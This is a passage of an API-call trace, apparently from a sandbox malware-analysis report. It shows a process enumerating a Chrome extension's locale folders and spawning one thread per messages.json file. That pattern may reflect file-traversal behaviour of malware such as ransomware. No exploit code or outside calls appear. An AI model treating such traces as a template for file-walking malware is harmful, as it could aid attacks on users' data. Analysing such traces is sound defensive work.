Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*" [0177.205] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d7b8 [0177.205] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93baf8 [0178.550] wcscmp (_String1=".", _String2=".") returned 0 [0178.550] FindNextFileW (in: hFindFile=0x93baf8, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.550] wcscmp (_String1="..", _String2=".") returned 1 [0178.550] wcscmp (_String1="..", _String2="..") returned 0 [0178.550] FindNextFileW (in: hFindFile=0x93baf8, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.550] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.550] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.550] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a3f50 [0178.550] wcscpy (in: _Dest=0x9a3f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" [0178.550] wcscat (in: _Dest=0x9a3f50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\" [0178.550] wcscat (in: _Dest=0x9a3f50, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" [0181.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a3f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d4 [0181.946] FindNextFileW (in: hFindFile=0x93baf8, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.946] FindClose (in: hFindFile=0x93baf8 | out: hFindFile=0x93baf8) returned 1 [0181.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d7b8) returned 1 [0181.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9fde8) returned 1 [0181.947] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d980) returned 1 Thread: id = 7089 os_tid = 0xfe4 [0177.216] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x120) returned 0x12da0978 [0177.216] wcscpy (in: _Dest=0x12da0978, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" [0177.216] wcscat (in: _Dest=0x12da0978, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\" [0177.216] wcscat (in: _Dest=0x12da0978, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*" [0177.216] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92aef8 [0177.216] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942930 [0178.557] wcscmp (_String1=".", _String2=".") returned 0 [0178.557] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.557] wcscmp (_String1="..", _String2=".") returned 1 [0178.557] wcscmp (_String1="..", _String2="..") returned 0 [0178.557] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.557] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.557] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.557] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9a4d08 [0178.557] wcscpy (in: _Dest=0x9a4d08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419" [0178.558] wcscat (in: _Dest=0x9a4d08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\" [0178.558] wcscat (in: _Dest=0x9a4d08, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" [0181.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a4d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0181.211] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x92aef8 | out: lpFindFileData=0x92aef8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.211] FindClose (in: hFindFile=0x942930 | out: hFindFile=0x942930) returned 1 [0181.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92aef8) returned 1 [0181.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da0978) returned 1 [0181.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x972648) returned 1 Thread: id = 7090 os_tid = 0xfe8 [0177.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12da0aa0 [0177.217] wcscpy (in: _Dest=0x12da0aa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" [0177.217] wcscat (in: _Dest=0x12da0aa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\" [0177.217] wcscat (in: _Dest=0x12da0aa0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*" [0177.218] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a7c0 [0177.218] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941db0 [0178.558] wcscmp (_String1=".", _String2=".") returned 0 [0178.558] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.558] wcscmp (_String1="..", _String2=".") returned 1 [0178.558] wcscmp (_String1="..", _String2="..") returned 0 [0178.558] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.558] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.558] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.558] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a4910 [0178.558] wcscpy (in: _Dest=0x9a4910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" [0178.558] wcscat (in: _Dest=0x9a4910, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\" [0178.558] wcscat (in: _Dest=0x9a4910, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" [0181.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a4910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0 [0181.213] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.213] FindClose (in: hFindFile=0x941db0 | out: hFindFile=0x941db0) returned 1 [0181.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a7c0) returned 1 [0181.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da0aa0) returned 1 [0181.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x972770) returned 1 Thread: id = 7092 os_tid = 0xff4 [0177.219] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12da0cf0 [0177.219] wcscpy (in: _Dest=0x12da0cf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" [0177.220] wcscat (in: _Dest=0x12da0cf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\" [0177.220] wcscat (in: _Dest=0x12da0cf0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*" [0177.220] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a558 [0177.220] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420f0 [0178.559] wcscmp (_String1=".", _String2=".") returned 0 [0178.559] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.559] wcscmp (_String1="..", _String2=".") returned 1 [0178.559] wcscmp (_String1="..", _String2="..") returned 0 [0178.559] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.559] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.560] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.560] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a4b80 [0178.560] wcscpy (in: _Dest=0x9a4b80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" [0178.560] wcscat (in: _Dest=0x9a4b80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\" [0178.560] wcscat (in: _Dest=0x9a4b80, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" [0181.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a4b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4 [0181.217] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.217] FindClose (in: hFindFile=0x9420f0 | out: hFindFile=0x9420f0) returned 1 [0181.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a558) returned 1 [0181.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da0cf0) returned 1 [0181.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9729c0) returned 1 Thread: id = 7093 os_tid = 0x868 [0177.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x12da0e18 [0177.221] wcscpy (in: _Dest=0x12da0e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" 